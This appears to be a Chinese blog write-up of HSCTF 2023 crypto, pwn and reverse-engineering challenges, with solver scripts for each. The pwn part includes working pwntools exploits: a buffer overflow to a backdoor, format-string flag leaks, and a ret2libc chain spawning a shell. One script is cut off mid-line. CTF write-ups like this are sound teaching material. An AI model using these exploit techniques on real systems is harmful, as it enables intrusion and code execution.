[hsctf 2023] crypto,pwn,rev部分

刚完了天津又来个衡水,这个大部分题比较简单,最后两天整了3个crypto有点意思.

crypto

double-trouble

给了密文

Hvwg gvcizr bch ps hcc vofr.
Wb toqh, W kwzz uwjs wh hc mci fwuvh bck!
Hvs tzou wg hvs tczzckwbu:
OmqemdOubtqdeMdqOaax
Vcksjsf, wh wg sbqcrsr gc mci vojs hc rsqcrs wh twfgh!
Pkovovovovo
Fsasapsf, hvs tzou tcfaoh wg tzou{}

看上去是词频,到quipquip解密得到

This should not be too hard. 
In fact, I will give it to you right now! 
The flag is the following: 
AyckypAgnfcpkYpcAmmx 
However, it is encoded so you have to decode it first! 
Bwahahahaha Remember, the flag format is flag{} 

猜flag这块是凯撒密码,最后还需要修正一下

CaemarCiphermAreCooz
修一下
flag{CaesarCiphersAreCool} 

really-small-algorithm

一个巨小的RSA

n = 4155782502547623093831518113976094054382827573251453061239
e = 65537
c = 2669292279100633236493181205299328973407167118230741040683

直接分解求密文

p,q = 63208845854086540220230493287,65746849928900354177936765297
d = inverse(e, (p-1)*(q-1))
m = pow(c,d,n)
long_to_bytes(m)
#flag{bigger_is_better}

cupcakes

有点像第1题,先是给了密钥,八成就是维亚尼亚密码了,直接用密钥解

You have to make 100 cupcakes for your upcoming end of year party and you only have 3 hours to do so after oversleeping the night before. However you are in luck because ShopRite just released their Magic Flour that makes any sort of batter immediately. In order to get the Magic Flour you have to solve a puzzle where you decode the message "avxmsvyusbyxj" using the key word SIFT. Time is ticking!

flag{instantbatter}

casino

有4个菜单,

  • 第1个是获得flag但需要money>1000000,
  • 第3个是载入token这里边AES可以解出money,
  • 第4个菜单是保存进度。

进度token是由AES_CTR方式加密,这种方式由 nonce+ctr计数器合并生成加密流,然后再把明文拿上去异或,只要 nonce相同就能得到相同的流。

#!/usr/bin/env python3
import readline
import os
import random
import json
from Crypto.Cipher import AES

FLAG = os.getenv("FLAG")
assert FLAG is not None
key_hex = os.getenv("KEY")
assert key_hex is not None
KEY = bytes.fromhex(key_hex)

money = 0.0
r = random.SystemRandom()

def flag():
	if money < 1000000000:
		print("Not enough money\n")
	else:
		print(FLAG + "\n")

def play():
	global money
	cont = True
	while cont:
		print("Enter bet")
		try:
			bet = int(input("> "))
		except ValueError:
			print("Invalid bet")
		else:
			if bet > 5 or bet < 0:
				print("Invalid bet")
			else:
				winnings = round(bet * r.uniform(-2, 2), 2)
				money += winnings
				print(f"You won {winnings:.2f} coins! You now have {money:.2f} coins\n")
				while True:
					print("""Choose an option:
1. Continue
2. Return to menu""")
					try:
						inp = int(input("> "))
					except ValueError:
						print("Invalid choice")
					else:
						if inp == 1:
							break
						elif inp == 2:
							cont = False
							break
						else:
							print("Invalid choice")

def load():
	global money
	print("Enter token:")
	try:
		nonce, ciphertext = map(bytes.fromhex, input("> ").split("."))
	except ValueError:
		print("Invalid token")
	else:
		cipher = AES.new(KEY, AES.MODE_CTR, nonce=nonce)
		plaintext = cipher.decrypt(ciphertext)
		print(plaintext)
		money = json.loads(plaintext)["money"]

def save():
	cipher = AES.new(KEY, AES.MODE_CTR)
	plaintext = json.dumps({"money": money}).encode("utf-8")
	ciphertext = cipher.encrypt(plaintext)
	print(f"Save token: {cipher.nonce.hex()}.{ciphertext.hex()}")

def main():
	try:
		while True:
			print(
				f"""You have {money:.2f} coins.
Choose an option:
1. Get flag
2. Play
3. Enter save token
4. Quit"""
			)
			try:
				inp = int(input("> "))
			except ValueError:
				print("Invalid choice")
			else:
				if inp == 1:
					flag()
				elif inp == 2:
					play()
				elif inp == 3:
					load()
				elif inp == 4:
					save()
					return
				else:
					print("Invalid choice")
	except (EOFError, KeyboardInterrupt):
		pass

if __name__ == "__main__":
	main()

思路:

先保存进度,这里money=0.0 然后对应位置用9e9异或将0.0改为900000000,然后上载进度就能获取flag 了

from pwn import *

context.log_level = 'debug'

p = remote('casino.hsctf.com', 1337)
p.sendlineafter(b"> ", b'4')
p.recvuntil(b'Save token: ')
nonce,c1 = p.recvuntil(b'\n', drop=True).split(b'.')
p.close()

print(nonce, c1)

c1 = bytes.fromhex(c1.decode())
m1 = b'{"money": 0.0}'
m2 = b'{"money": 9e9}'
c2 = xor(c1,m1,m2)

p = remote('casino.hsctf.com', 1337)
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"> ", nonce+b'.'+c2.hex().encode())

p.sendlineafter(b"> ", b'1')
p.recvline()

p.interactive()
#flag{you're_ready_for_vegas_now}

spring

这是里边一个难题,很久才弄出来

给了java的加密文件和一堆数据

import java.io.File;
import java.io.IOException;
import java.nio.charset.Charset;
import java.nio.file.Files;
import java.util.Random;
import java.util.Arrays;

class Main {
	public static void main(String[] args) throws IOException {
		// imagine not having an unsigned bytes type 
		char[] flag = Files.readString(new File("flag.png").toPath(), Charset.forName("ISO-8859-1")).toCharArray();
		long[] out = new long[flag.length / 8];
		Random random = new Random();
		for (int i = 0; i < flag.length; i += 8) {
			long x = ((long) flag[i] << 56) +
					((long) flag[i + 1] << 48) +
					((long) flag[i + 2] << 40) +
					((long) flag[i + 3] << 32) +
					((long) flag[i + 4] << 24) +
					((long) flag[i + 5] << 16) +
					((long) flag[i + 6] << 8) +
					((long) flag[i + 7]);
			long r = random.nextLong();
			out[i / 8] = x ^ r;
		}
		Files.write(new File("out.txt").toPath(), Arrays.toString(out).getBytes());
	}
}
[7759420572346465994, -5396390562948218745, -5016321963313905888, -1117618389163622739, -3846959989767350954, -8278105930524162071, -2822937238430879242, 5588709472411029534, -6576227853120385146, 2803014856131381462, ......

加密方式每简单,用一个未置种子的random生成随机数与图片异或得到64位数输出到out.txt。

一开始以为和python一样去求种子,在网上搜出两种默认种子的的方式一种是 用的毫秒,一种是用的纳秒再通过一个运算得到,所以爆破了一下就放下了。显然都不对。后来搜到一个英文的文档有个方法,按这个方法搜到中文文档。

java.Util.random 加密使用类LCG的方式,使用48位种子,每次生成32位密码,所有得到两个连续的32位密文就能得到后边第3个密文。(这个随机数虽然种子很复杂但比python简单得多,所以也就危险得多)

另外一个坑点,生成的32位数是有符号数,题目用的是long,long型的生成方式为next()<<32 + next() 这里两个注意点:1是第1组int在前表示高位。第2是作为有符号数第2个加进来,前32位可能会有变化。所以无法把一个long分成两个int,只能用两个int还拼long

知道密码生成方式就简单了,因为png文件的头部是固定的,可以得到两组int通过这个生成全部的随机数,然后恢复图片得到flag

from Crypto.Util.number import * 
from Random import random
#第1个密文
a = bytes_to_long(b'\x89\x50\x4e\x47\x0d\x0a\x1a\x0a')
r = 7759420572346465994 

k = a^r 
print(k)
#16356706202519577792

a2 = bytes_to_long(b'\x00\x00\x00\x0dIHDR')
r2 = -5396390562948218745
k2 = a2^r2 
print(k2)
#-5396390619700804395

s = [815506624, 3808342433, 2608579797, 3038522194]
#转有符号数,和交换大小端顺序
s = [-486624863, 815506624, -1256445102, -1686387499]

 使用网上下载到的解密程序,通过头两块得到所有的随机数

# python3
# 5wimming
a = 0x5DEECE66D
b = 0xB
mask = (1 << 48) - 1


def n2p(x):
    y = -x
    y ^= 2 ** 32 - 1 # 取反
    y += 1
    return y


def find_seed(x1, x2):
    if x1 < 0:
        x1 = n2p(x1)

    if x2 < 0:
        x2 = n2p(x2)

    seed = x1 << 16
    for i in range(2 ** 16):
        if ((a * seed + b) & mask) >> 16 == x2:
            return seed
        seed += 1


def next_seed(seed, bits=16):
    x = seed >> bits
    if '{:032b}'.format(x).startswith('1'):
        x ^= 2 ** 32 - 1
        x += 1
        return -x
    return x


def next_seed_with_bound(seed, bound):
    r = next_seed(seed, bits=17)
    m = bound - 1
    if m & bound == 0:
        r = (bound * r) >> 31
    else:
        return "没用到,自己写"
    if '{:032b}'.format(r).startswith('1'):
        r ^= 2 ** 32 - 1
        r += 1
        return -r
    return r


s = [-486624863, 815506624, -1256445102, -1686387499]
x1,x2 = s[0],s[1]

seed = find_seed(x1, x2)
print('[-486624863,', end='')
for i in range(306222*2):
    seed = (a * seed + b) & mask
    print(str(next_seed(seed))+',', end='')

print('0]')

通过随机数恢复图片

from Crypto.Util.number import long_to_bytes 

v1 = eval(open('out.txt').read())
v2 = eval(open('out2.txt').read())
print(len(v1), len(v2))

fp = open('aaa.png', 'wb')
for i,r in enumerate(v1):
    t = (v2[i*2]<<32) + v2[i*2+1]
    dat = long_to_bytes((t^r)%(1<<64)).rjust(8, b'\x00')
    fp.write(dat)

fp.close()

trios

随机生成26组3字符的串,来代码26个字母

import random

chars = [chr(i) for i in range(48, 58)] + [chr(i) for i in range(65, 91)] + [chr(i) for i in range(97, 123)]
alphabet = []

while len(alphabet) < 26:
    run = True
    while run:
        string = ""
        for _ in range(3): string += chars[random.randint(0, len(chars) - 1)]
        if string in alphabet: pass
        else: run = False
    alphabet.append(string)

keyboard_chars = [chr(i) for i in range(97, 123)]

dic = {char: term for char, term in zip(keyboard_chars, alphabet)}

msg = "REDACTED"
encoded = ""

for word in msg:
    for letter in word:
        if letter.lower() in dic.keys():
            encoded += dic[letter.lower()]
        else: encoded += letter

print(encoded)

解决方法就是把遇到的每3个放到字典里,然后还原,最后再按词频恢复原文。

密文是这样的

8wnAPR2svyje{RbcAPRRbczwtwDE2svphjIqr}. uZbphjRbc 4mL2sv8rv IqruZb BRzuZbAPRzr1Rbc 2svphj RbcphjoZYQHJ8rvzwtIqrRbcHu0 InbRbcBRzBRz2svyjeRbc, tKO8wn 4mLRbc JEzphjuZb4mL tKOIqrBRz APR2svphjyje4zD2svyjeRbc, tKOBRz IqruZb 8wntKOphjHu0 2sv Hu0tKO8wn8wnRbcQHJRbcphjIqr zwtAPR2svtKOphjIqrRbcGawIqr uZb8wn IqrwDERbc BRz2svInbRbc APR2svphjyje4zD2svyjeRbc APRuZbphjyje RbcphjuZb4zDyjewDE IqruZb 8wntKOAPRAPR uZbphjRbc BRzwDERbcRbcIqr uZbQHJ BRzuZb, 2svphjHu0 IqrwDERbcphj 4mLRbc oZYuZb4zDphjIqr IqrwDERbc uZboZYoZY4zDQHJQHJRbcphjoZYRbcBRz uZb8wn Rbc2svoZYwDE APRRbcIqrIqrRbcQHJ. IqrBRz tKOAPRAPRRbcyje2svAPR IIqruZb uZbS4mLphj k7j4zDBRzIqr uZbphjRbc yje4zDtKOphjRbc2sv zwttKOyje tKOphj 4mLtKOIqr2stRbcQHJAPR2svphjHu0.

有个坑,有两个不是3的倍数的串,肉眼可见,应该是多了I和S,删掉后,用程序恢复

import string 

#data.txt 删除II的I, 最后一行S4m的S
msg = open('data.txt').read()
i=0
j=0
code = string.ascii_lowercase
chars = [chr(i) for i in range(48, 58)] + [chr(i) for i in range(65, 91)] + [chr(i) for i in range(97, 123)]
usd = []
out = ''
while i

cosmic-ray

第2个难题。先看代码

p = ##########################################################
q = ##########################################################
n = p * q
m = ##########################################################
e = ##########################################################
d = ##########################################################

cache = []

def exp(a, b, n):
	if b == 0:
		return 1
	pwr = exp(a, b//2, n)
	pwr *= pwr
	if b & 1:
		pwr *= a
	pwr %= n
	cache.append(pwr)
	return pwr

def cosmic_ray():
    ##########################################################

def clear():
	for i in range(len(cache)):
		if cosmic_ray():
			continue
		cache[i] = 0

c = exp(m, e, n)
clear()

这个程序看着很简单,就是快速降幂法对m乘e次幂,函数每次会返回的结果放入cache中,最后将cache中的大部分置0,然后给出n,cache和c

n = 471794602312181068011601975537791353222470509157304225172118054851894222850510156945514492360273864411886365421734158872203071445682080353947715317468911391989193241590893667789460995360376512456430107837622910114992871899389148304762185977527005056570902340546791024234066680504170924452971514521601
cache = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 334823363824713665077070202012026189923379293024123400788079277410774197047658071653971004436304522266736098331382932182667556494290213766301841109369135445876975343696462435549896884832268918971958940247856038703516590983905465795054223071712800975024487595858748717534729668238007443295659690048965, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 161871115501970062534351795345828929371256682904562729930683298498471934529621287918421582081293144569781197640007409867100986869101025553277338171413324126180647815592159530685007983731537469593377648707222034769451336325256873454740359493423577485057616201643076623733112144282219709887572771424512, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 214752981241525483427501847311211589338821085671679575325942009086498262574435168520944556441511092304953777222454487640261006031689326454217335175848774919958263917183188119113591498659190095106441103543669566526185494374893306757374021054062896500991553480291015417385136373315591170793843464740988, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 343190004788499437607845898284239695113462670688664914367031457496526965266002656031194988783696950107365971573480119334073126431699832428382021510495753660712879273504276822902473320337174071411539017073199488942856737279581115287981594879580122312473677881860716877392288947947120580533022832366626, 0, 0, 0, 0, 0, 0, 0]
c = 297444805157923579595492659756994763982280962834662933228783834277026667796039103340058990582217798282434798699551705567584809248118471599628162646936955352212054484238384955355256944438218079458834836612366173168573544605559990276904501543490924665506484704110848942208163629878854963232105440104720

这里边c就是cache里的最后一个0的位置。

猜测两个已知部分应该是这个关系:c1^{2^{l}} * m^{k} = c2,其中l是两个已知数间隔的距离是一个小于2^l的数。

自己用个小点的数理一下

m = 7 
n = 187 #11*17 
e = 39 #100111 
cache = []
c = exp(m, e, n)
cache = [7, 49, 157, 129, 173, 63]
#        1   0    0    1    1   1
#       m^1 m^2  m^4  m^9  m^19 m^39
#            ^------------------^   49^16 * 7^7 
c = 173

这里49和63相差4格l==4,e=7(这是真实的e二进制的一部分) 

这里第1个已知和第2个差13,最后一个和c差7这两个数比较小加到一起才20位,可以爆破。然后用共模攻击求解。

cs = {}
for i in range(len(cache)):
    if cache[i] != 0:
        cs[i]=cache[i]

#print(cs)
#cs = {33: 334823363824713665077070202012026189923379293024123400788079277410774197047658071653971004436304522266736098331382932182667556494290213766301841109369135445876975343696462435549896884832268918971958940247856038703516590983905465795054223071712800975024487595858748717534729668238007443295659690048965, 46: 161871115501970062534351795345828929371256682904562729930683298498471934529621287918421582081293144569781197640007409867100986869101025553277338171413324126180647815592159530685007983731537469593377648707222034769451336325256873454740359493423577485057616201643076623733112144282219709887572771424512, 60: 214752981241525483427501847311211589338821085671679575325942009086498262574435168520944556441511092304953777222454487640261006031689326454217335175848774919958263917183188119113591498659190095106441103543669566526185494374893306757374021054062896500991553480291015417385136373315591170793843464740988, 93: 343190004788499437607845898284239695113462670688664914367031457496526965266002656031194988783696950107365971573480119334073126431699832428382021510495753660712879273504276822902473320337174071411539017073199488942856737279581115287981594879580122312473677881860716877392288947947120580533022832366626}

from gmpy2 import gcdext 
from Crypto.Util.number import long_to_bytes

def eeccn(e1,e2,c1,c2,n):
    g, x1, x2 = gcdext(e1,e2)
    return pow(c1,x1,n)*pow(c2,x2,n) % n

c1 = pow(cs[93], -(2**7), n)*c %n 
c2 = pow(cs[33], -(2**13), n)*cs[46] %n 
for e1 in range(2,2**7):
    for e2 in range(1,2**13):
        m = eeccn(e1,e2,c1,c2,n)
        flag = long_to_bytes(m)
        if flag.startswith(b'flag'):
            print(flag)
            break 
#flag{y0u_4r3_4_d3t3ct1v3_7882fa}            

order

给了一个简单的加密,得到结果是1

M = 48743250780330593211374612602058842282787459461925115700941964201240170956193881047849685630951233309564529903

def new_hash(n):
    return n % M

def bytes_to_long(x):
    return int.from_bytes(x, byteorder="big")


flag = open('flag.txt').read()
flag = bytes_to_long(bytes(flag, 'utf-8'))

sus = 11424424906182351530856980674107667758506424583604060548655709094382747184198
a = 19733537947376700017757804691557528800304268370434291400619888989843205833854285488738413657523737062550107458

t = new_hash(pow(flag, -1, M) * a)
exp = new_hash(sus ** t)
thonk = new_hash(sus * exp)

print(thonk)
# Prints 1

这里显然有个问题,密文是1,则肯定是多解,只是用什么方式在多个解中找到正确的flag,别人给了个结果,自己瞎理解一下:

#M可分解, sus^(x-1) = 1 mod M => x是phi的因子

 所以用前两天才学的求因子函数,直接爆破

#将M分解出因子 3853^29 * 500891
phi = 3853**28 * 3852 * 500890 
divs = divisors(phi)  #求所有因子(所有因子不仅素因子)
for x in divs:   
    t = x-1
    exp = pow(sus,t,M)
    thonk = sus*exp%M
    if thonk == 1:
        m = long_to_bytes(inverse_mod(t*inverse_mod(a,M),M))
        if m.startswith(b"flag{"):
            print(m)
            break 

pwn

ed

4个pwn题都非常容易,可以国外对pwn不是很重视

给了原码,有后门,直接溢出到后门

#include 
#include 
#include 

int flag() {
	puts(getenv("FLAG"));
}

int main(int argc, char** argv) {
	char input[24];
	char filename[24] = "\0";
	char buffer[64];
	FILE* f = NULL;
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	if (argc > 1) {
		strncpy(filename, argv[1], 23);
	}
	while (1) {
		fgets(input, 64, stdin);
		input[strcspn(input, "\n")] = 0;
		if (input[0] == 'Q') {
			return 0;
		} else if (input[0] == 'f') {
			if (strlen(input) >= 3) {
				strcpy(filename, input + 2);
			}

			if (filename[0] == '\0') {
				puts("?");
			} else {
				puts(filename);
			}
		} else if (input[0] == 'l') {
			if (filename[0] == '\0') {
				puts("?");
			} else {
				if (strchr(filename, '/') != NULL) {
					puts("?");
					continue;
				}

				f = fopen(filename, "r");
				if (f == NULL) {
					puts("?");
					continue;
				}

				while (fgets(buffer, 64, f)) {
					printf("%s", buffer);
				}
				fclose(f);
			}
		} else {
			puts("?");
		}
	}
}
from pwn import *

p = remote('ed.hsctf.com', 1337)
context.log_level = 'debug'

p.sendline(b'Q'*0x20 + p64(0) + p64(0x4011d2))
p.recvline()

p.interactive()

doubler

这是个绕过的题

#include 
#include 

int main() {
	char flag[32];
	FILE* f = fopen("flag.txt", "r");
	if (f == NULL) {
		puts("flag.txt not found");
		return 1;
	}
	fgets(flag, 32, f);
	fclose(f);

	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	printf("Input: ");
	char buffer[16];
	fgets(buffer, 16, stdin);
	int val = atoi(buffer);
	if (val < 0) {
		puts("Error: no negative numbers allowed!");
		return 1;
	}
	int doubled = 2 * val;
	printf("Doubled: %i\n", doubled);
	if (doubled == -100) {
		puts(flag);
	}
}

这里需要输入一个正数,乘2后得-100即可。由于最高位是符号位只需要得到个1000... 64就行

┌──(kali㉿kali)-[~/ctf/tmp/4]
└─$ nc doubler.hsctf.com 1337
Input: 2147483598
Doubled: -100
flag{double_or_nothing_406c561}

cat

程序先把flag载入内存,然后有格式化字符串漏洞,只要找对偏移找出来就行

#include 
#include 
#include 

int main() {
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);

	char flag[19];
	FILE* f = fopen("flag.txt", "r");
	if (f == NULL) {
		puts("flag.txt not found");
		return 1;
	}
	fgets(flag, 19, f);
	fclose(f);

	char buffer[16];
	while (1) {
		fgets(buffer, 16, stdin);
		printf(buffer);
	}
}
┌──(kali㉿kali)-[~/ctf/tmp/3]
└─$ nc cat.hsctf.com 1337
%10$x
616c6603
%11$x
61637b67
%12$x
675f7374
%13$x
656d5f6f
%14$x
7d776f

>>> bytes.fromhex('61637b67')[::-1]
b'g{ca'
>>> bytes.fromhex('675f7374')[::-1]
b'ts_g'
>>> bytes.fromhex('656d5f6f')[::-1]
b'o_me'
>>> bytes.fromhex('7d776f')[::-1]
b'ow}'

flag{cats_go_meow}

ex

#include 
#include 
#include 

int main(int argc, char** argv) {
	char input[24];
	char filename[24] = "\0";
	char buffer[128];
	FILE* f = NULL;
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	if (argc > 1) {
		strncpy(filename, argv[1], 23);
	}
	while (1) {
		fgets(input, 128, stdin);
		input[strcspn(input, "\n")] = 0;
		if (input[0] == 'Q') {
			return 0;
		} else if (input[0] == 'f') {
			if (strlen(input) >= 3) {
				strcpy(filename, input + 2);
			}

			if (filename[0] == '\0') {
				puts("?");
			} else {
				puts(filename);
			}
		} else if (input[0] == 'l') {
			if (filename[0] == '\0') {
				puts("?");
			} else {
				if (strchr(filename, '/') != NULL) {
					puts("?");
					continue;
				}

				f = fopen(filename, "r");
				if (f == NULL) {
					puts("?");
					continue;
				}

				while (fgets(buffer, 128, f)) {
					printf("%s", buffer);
				}
				fclose(f);
			}
		} else {
			puts("?");
		}
	}
}

直接有溢出就好办了

from pwn import *

#p = process('./ex')
p = remote('ex.hsctf.com', 1337)
context(arch='amd64', log_level='debug')

elf = ELF('./ex')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
pop_rdi = 0x00000000004014f3 # pop rdi ; ret

pay = b'Q'*0x20 + flat(0, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['main'])
p.sendline(pay)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']

pay = b'Q'*0x20 + flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
p.sendline(pay)

p.interactive()

 

REV

back-to-basics

给了原码,就是个排序问题,手工也行,excel也行

import java.util.Scanner;

class ReverseEngineeringChallenge {
    public static void main(String args[]) {
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter password: ");
        String userInput = scanner.next();
        if (checkPassword(userInput)) {
            System.out.println("Access granted.");
        } else {
            System.out.println("Access denied!");
        }
    }

    public static boolean checkPassword(String password) {
        return password.length() == 20 &&
                password.charAt(0) == 'f' &&
                password.charAt(11) == '_' &&
                password.charAt(1) == 'l' &&
                password.charAt(6) == '0' &&
                password.charAt(3) == 'g' &&
                password.charAt(8) == '1' &&
                password.charAt(4) == '{' &&
                password.charAt(9) == 'n' &&
                password.charAt(7) == 'd' &&
                password.charAt(10) == 'g' &&
                password.charAt(2) == 'a' &&
                password.charAt(12) == 'i' &&
                password.charAt(5) == 'c' &&
                password.charAt(17) == 'r' &&
                password.charAt(14) == '_' &&
                password.charAt(18) == 'd' &&
                password.charAt(16) == '4' &&
                password.charAt(19) == '}' &&
                password.charAt(15) == 'h' &&
                password.charAt(13) == '5';
    }
}

#flag{c0d1ng_i5_h4rd}

brain-hurt

python的原码

import sys

def validate_flag(flag):
    encoded_flag = encode_flag(flag)
    expected_flag = 'ZT_YE\\0|akaY.LaLx0,aQR{"C'
    if encoded_flag == expected_flag:
        return True
    else:
        return False

def encode_flag(flag):
    encoded_flag = ""
    for c in flag:
        encoded_char = chr((ord(c) ^ 0xFF) % 95 + 32)
        encoded_flag += encoded_char
    return encoded_flag

def main():
    if len(sys.argv) != 2:
        print("Usage: python main.py ")
        sys.exit(1)
    input_flag = sys.argv[1]
    if validate_flag(input_flag):
        print("Correct flag!")
    else:
        print("Incorrect flag.")

if __name__ == "__main__":
    main()

 密文和算法都有,而且是逐字符加密,可以直接爆破

a = b'ZT_YE\\0|akaY.LaLx0,aQR{"C'
for i in range(len(a)):
    for j in range(0x21,0x7f):
        if (j^0xff)%95+32 == a[i]:
            print(chr(j), end='')
            break 
#flag{d1D_U_g3t_tH15_onE?}

mystery-methods

不管多简单java写出来就巨复杂

import java.util.Base64;
import java.util.Scanner;

public class mysteryMethods{
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);
        System.out.print("Flag: ");
        String userInput = scanner.nextLine();
        String encryptedInput = encryptInput(userInput);

        if (checkFlag(encryptedInput)) {
            System.out.println("Correct flag! Congratulations!");
        } else {
            System.out.println("Incorrect flag! Please try again.");
        }
    }

    public static String encryptInput(String input) {
        String flag = input;
        flag = unknown2(flag, 345345345);
        flag = unknown1(flag);
        flag = unknown2(flag, 00000);
        flag = unknown(flag, 25);
        return flag;
    }

    public static boolean checkFlag(String encryptedInput) {
        return encryptedInput.equals("OS1QYj9VaEolaDgTSTXxSWj5Uj5JNVwRUT4vX290L1ondF1z");
    }

    public static String unknown(String input, int something) {
        StringBuilder result = new StringBuilder();
        for (char c : input.toCharArray()) {
            if (Character.isLetter(c)) {
                char base = Character.isUpperCase(c) ? 'A' : 'a';
                int offset = (c - base + something) % 26;
                if (offset < 0) {
                    offset += 26;
                }
                c = (char) (base + offset);
            }
            result.append(c);
        }
        return result.toString();
    }

    public static String unknown1(String xyz) {
        return new StringBuilder(xyz).reverse().toString();
    }

    public static String unknown2(String xyz, int integer) {
        return Base64.getEncoder().encodeToString(xyz.getBytes());
    }
}

其实就是凯撒然后base64

a = b"OS1QYj9VaEolaDgTSTXxSWj5Uj5JNVwRUT4vX290L1ondF1z"

#大小写-25
b = []
for c in a:
    if ord('A')<=c<=ord('Z'):
        b.append(ord('A')+(c-ord('A') -25)%26)
    elif ord('a')<=c<=ord('z'):
        b.append(ord('a')+(c-ord('a') -25)%26)
    else:
        b.append(c)

from base64 import * 

c = b64decode(bytes(b))[::-1]
d = b64decode(c)
#flag{hsCTF_I5_r3aLLy_fUN}

keygen

revrevrev

这个是个思考题,跟代码无关

ins = ""
while len(ins) != 20:
  ins = input("input a string of size 20: ")

s = 0
a = 0
x = 0
y = 0
for c in ins:
  if c == 'r': # rev
    s += 1
  elif c == 'L': # left
    a = (a + 1) % 4
  elif c == 'R': # right
    a = (a + 3) % 4
  else:
    print("this character is not necessary for the solution.")
  if a == 0:
    x += s
  elif a == 1:
    y += s
  elif a == 2:
    x -= s
  elif a == 3:
    y -= s

print((x, y))
if x == 168 and y == 32:
  print("flag{" + ins + "}")
else:
  print("incorrect sadly")

输入r会使s+1  输入L会转到给y加再输入R会转回来加x,由于只有20次操作,数字加1的话最多就是20,再思谋y,转回x用去两次最大是18,发现还是完不成和是200,y=32,改用两次转出和返回,这样最大s=16而可能得200的情况只能是最后4个16,其它都会小于200,这种情况恰好y等于32

#flag{rrrrrrrrrrrrrrrrLRLR}

micrurus-fulvius

给了一个pyc文件,用uncomply6转出py代码

# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.10 (tags/v3.8.10:3d8993a, May  3 2021, 11:48:03) [MSC v.1928 64 bit (AMD64)]
# Embedded file name: chall.py
# Compiled at: 2023-06-02 05:33:44
# Size of source mod 2**32: 644 bytes
from hashlib import sha256 as k

def a(n):
    b = 0
    while n != 1:
        if n & 1:
            n *= 3
            n += 1
        else:
            n //= 2
        b += 1

    return b


def d(u, p):
    return (u << p % 5) - 158


def j(q, w):
    return ord(q) * 115 + ord(w) * 21


def t():
    x = input()
    l = [-153, 462, 438, 1230, 1062, -24, -210, 54, 2694, 1254, 69, -162, 210, 150]
    m = 'b4f9d505'
    if len(x) - 1 != len(l):
        return False
    for i, c in enumerate(zip(x, x[1:])):
        if d(a(j(*c) - 10), i) * 3 != l[i]:
            return False
        if k(x.encode()).hexdigest()[:8] != m:
            return False
        return True


def g():
    if t():
        print('Correct')
    else:
        print('Wrong')


if __name__ == '__main__':
    g()
# okay decompiling micrurus-fulvius.pyc

发现加密方式是用两个字符加密,比如0,1得到0,1,2得到1这个都有关联,这个分枝不会太大,直接递归爆破。

from hashlib import sha256 as k

def a(n):
    b = 0
    while n != 1:
        if n & 1:
            n *= 3
            n += 1
        else:
            n //= 2
        b += 1
    return b

def j(q, w):
    return q * 115 + w * 21

def rd(u, p):
    return ((u+158) >> p % 5)

m = 'b4f9d505'
l = [-153, 462, 438, 1230, 1062, -24, -210, 54, 2694, 1254, 69, -162, 210, 150]
l2 = [v//3 for v in l]
l3 = [ rd(v,i) for i,v in enumerate(l2)]


def get_v(head, idx):
    if idx>=len(l3):
        if k(head).hexdigest()[:8] == m:
            print('ok:',head)
        return 
        
    i1 = head[-1]
    for i2 in range(0x20, 0x7f):
        if a(j(i1,i2) - 10) == l3[idx]:
            #print(chr(i1)+chr(i2))
            get_v(head+bytes([i2]), idx+1)

get_v(b'fl', 1)
#flag{380822974}

剩下最后两个看不懂

你可能感兴趣的:(CTF)